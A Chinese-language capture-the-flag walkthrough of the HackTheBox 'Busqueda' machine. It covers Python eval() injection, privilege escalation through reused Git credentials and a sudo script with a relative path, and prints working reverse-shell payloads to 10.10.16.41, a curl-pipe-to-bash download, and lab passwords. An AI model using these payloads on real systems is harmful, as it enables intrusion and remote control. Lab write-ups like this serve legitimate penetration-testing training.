About The Machine
About 关于
Busqueda is an Easy Difficulty Linux machine that involves exploiting a command injection vulnerability present in a Python module. By leveraging this vulnerability, we gain user-level access to the machine. To escalate privileges to root, we discover credentials within a Git config file, allowing us to log into a local Gitea service. Additionally, we uncover that a system checkup script can be executed with root privileges by a specific user. By utilizing this script, we enumerate Docker containers that reveal credentials for the administrator user's Gitea account. Further analysis of the system checkup script's source code in a Git repository reveals a means to exploit a relative path reference, granting us Remote Code Execution (RCE) with root privileges.
Busqueda 是一台难度为"简单"的 Linux 靶机,它利用 Python 模块中存在的命令注入漏洞。通过利用此漏洞,我们获得了靶机的用户级访问权限。为了将权限提升至 root ,我们在一个 Git 配置文件中发现了凭据,从而能够登录本地 Gitea 服务。此外,我们还发现特定用户可以以 root 权限执行系统检查脚本。利用该脚本,我们枚举了 Docker 容器,从而获取了 administrator 用户的 Gitea 帐户凭据。进一步分析 Git 仓库中系统检查脚本的源代码,我们发现了一种利用相对路径引用的方法,从而获得了远程代码执行 (RCE) 权限和 root 权限。
端口扫描
sudo nmap -p- 10.129.228.217 -vv --min-rate 5000

发现打开了22和80端口
版本探测
sudo nmap -p22,80 -A 10.129.228.217 --min-rate 5000

发现目标靶机可能是一台 Ubuntu 机器,并且开启了 Apache 的 Web 服务

直接访问 Web 发现打不开,需要先在 hosts 文件里面绑定一下域名
sudo vim /etc/hosts
打开发现是一个搜索引擎 Searcher

尝试了功能点发现可能存在 SQL 注入漏洞

后端指纹确认:
响应头里的 Server: Werkzeug/2.1.2 Python/3.10.6 完全验证了我们之前的猜想------这是一个跑在 Python 环境下的 Web 服务(通常是 Flask)。
Python eval() 注入测试(如果后端是 Python):
如果你发现普通的 shell 字符被过滤,尝试输入单引号或双引号闭合语句。比如:engine=Google',__import__('os').system('id'))# (这只是个思路,具体取决于后端的拼接方式)。

成功触发了 Python 代码注入漏洞,拿到了服务器的远程命令执行(RCE)权限。从响应结果来看,你当前已经以普通用户身份在系统里执行命令了,距离拿下这个靶机的初级权限(Local.txt)只差一个反弹 Shell 的距离。
- 靶机后端大概率使用了极其危险的
eval()函数来动态处理searchor(一个 Python 搜索库)的拼接逻辑。 - 你的 Payload 通过闭合前面的单引号和括号,打断了原有的代码逻辑。
- 紧接着使用 Python 的内置魔法
__import__('os')动态加载了系统操作系统模块,并调用了system('id')。 - 最后的
#在 Python 中是注释符,直接把后端原本剩下的代码变成了废话,防止程序报错崩溃。
OSCP 战术指导:下一步怎么走 (The "Next Steps" Phase)
既然 id 能跑通,现在的首要任务是把这个"敲门砖"变成一个持续稳定的交互式通道。作为系统管理员和渗透测试员,没人喜欢每次敲命令都要发一次 HTTP 包。
- 准备接客: 在你的 Kali 机器上开启一个监听端口,比如:
nc -lvnp 4444。 - 构造反弹 Shell (Reverse Shell): 你需要把
id替换成能把系统终端扔给你的命令。因为目标是 Linux 且有 Python 3.10.6 环境,你可以尝试直接执行 Bash 的反弹语句,或者 Python 的反弹语句。
-
- 提示:尝试将 system('id')里的 *id*换成类似 *bash -c "bash -i >& /dev/tcp/你的Kali_IP/4444 0>&1"*这样的经典语句。
- 注意避坑(URL 编码): 这是 OSCP 考试中极其容易翻车的地方!由于你是通过 HTTP POST 传输表单数据(
application/x-www-form-urlencoded),你的反弹 Shell 命令里如果含有&、+或空格等特殊字符,必须先进行 URL 编码 (在 Burp Suite 里选中并按Ctrl+U),否则后端的 Web 容器会把它当成 HTTP 参数的分隔符,导致你的 Payload 惨遭腰斩。 - 权限提升 (Privilege Escalation): 拿到
svc用户的 Shell 后,记得用python3 -c 'import pty; pty.spawn("/bin/bash")'升级一下 TTY 终端,然后就可以掏出 LinPEAS 脚本,或者去翻翻/etc/sudoers(sudo -l),寻找成为root的路径了。
获得 user.txt
Ctrl + U 进行编码
engine=Google&query=1',__import__('os').system('echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNi40MS8xMzM3IDA%2bJjE%3d|base64+-d|bash'))#


Linux 提权
Linpeas
curl http://10.10.16.41/linpeas.sh | bash
这行命令之所以被称为"渗透界的骚操作",是因为它利用了 管道符 ( |****) 将下载和执行两个动作合二为一。它不需要将文件落盘(无文件执行),直接将远程脚本的内容"喂"给本地的 Bash 解释器执行。
运行原理解析
这种方式能跑通,核心在于以下三个环节的"无缝衔接":
- curl http://.../linpeas.sh**(拉取数据)** :
curl的默认行为是将获取到的网页或文件内容打印到 标准输出 (stdout),也就是你的屏幕上。 - |****(管道符 - 数据传输带) : 管道符的作用是"截流"。它告诉系统:不要把左边命令(curl)的结果打印到屏幕上,而是把它作为右边命令的 标准输入 (stdin)。
- bash**(执行引擎)** : 当你运行
bash而不加任何文件名时,它会等待输入指令。此时,它接收到了从管道传过来的linpeas.sh的完整代码,并像读剧本一样一行行地在内存中执行。


在 .git 路径的 config 文件里发现一个账号密码
cody
jh1usoih2bkjaspwe92

登录 Gitea 平台 : 既然 URL 指向 gitea.searcher.htb,说明这台机器或内网有一个代码托管平台。
- 你可以通过浏览器访问它(记得确保你的 Kali
/etc/hosts里已经添加了searcher.htb和gitea.searcher.htb的 IP 解析)。 - 登录
cody的账号,看看有没有其他"私有仓库"。里面可能藏着数据库密码、API Key 或者更高级别的提权线索。

使用账号密码 cody:jh1usoih2bkjaspwe92 可以登录进来,但是没什么用 useless

密码复用
sudo -l输入密码jh1usoih2bkjaspwe92成功,说明 svc 账号的密码也是这个
svc@busqueda:/var/www/app$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:/var/www/app$

尽管我们知道容器名称,但我们不清楚这个格式参数指的是什么。 然而,考虑到脚本使用docker-ps参数和ps命令的输出相似性,可以合理推测脚本中的docker-inspect参数利用了Docker工具的docker inspect命令。因此,让我们查看inspect命令的帮助菜单。
我们可以查看 Docker inspect 命令的使用信息
https://docs.docker.com/engine/reference/commandline/inspect/


根据这里提供的信息, Docker 利用 Go 模板,使用户能够修改特定命令的输出格式。该网站特别提到使用 {{json .}} 作为 {{json .}} 格式化模板,它会以 JSON 格式呈现有关容器的所有信息。因此,我们 可以使用 docker-inspect 参数所需的 format 参数。
为了方便读取 JSON 输出,我们可以使用 jq 将 JSON 输出解析为可读格式。 可以使用以下命令进行安装,不过目标机器上已经存在该工具。
sudo apt install jq
现在让我们使用适用于 docker-inspect 参数的相应参数来运行该脚本。
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq

得到一个密码 yuiu1hoiu4i5ho1uh,用该密码成功登录 administrator账号,可以查看源代码文件


特别值得注意的是,system-checkup.py 脚本使用相对路径 ./full-checkup.sh 引用了该脚本,而不是像 /opt/scripts/full/checkup.sh 这样的绝对路径。这表明,system-checkup.py 脚本会尝试从执行 system-checkup.py 时所在的目录中执行 full-checkup.sh。 当从存在 full-checkup.sh 文件的 /opt/scripts/ 目录运行时,system-checkup.py 可以成功执行。
反弹 shell
所以我们在可以创建一个 full-checkup.sh ,里面包含反弹 shell 的代码,然后去执行它,从而获得 root 的 shell
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.41/4444 0>&1'

获得 root.txt


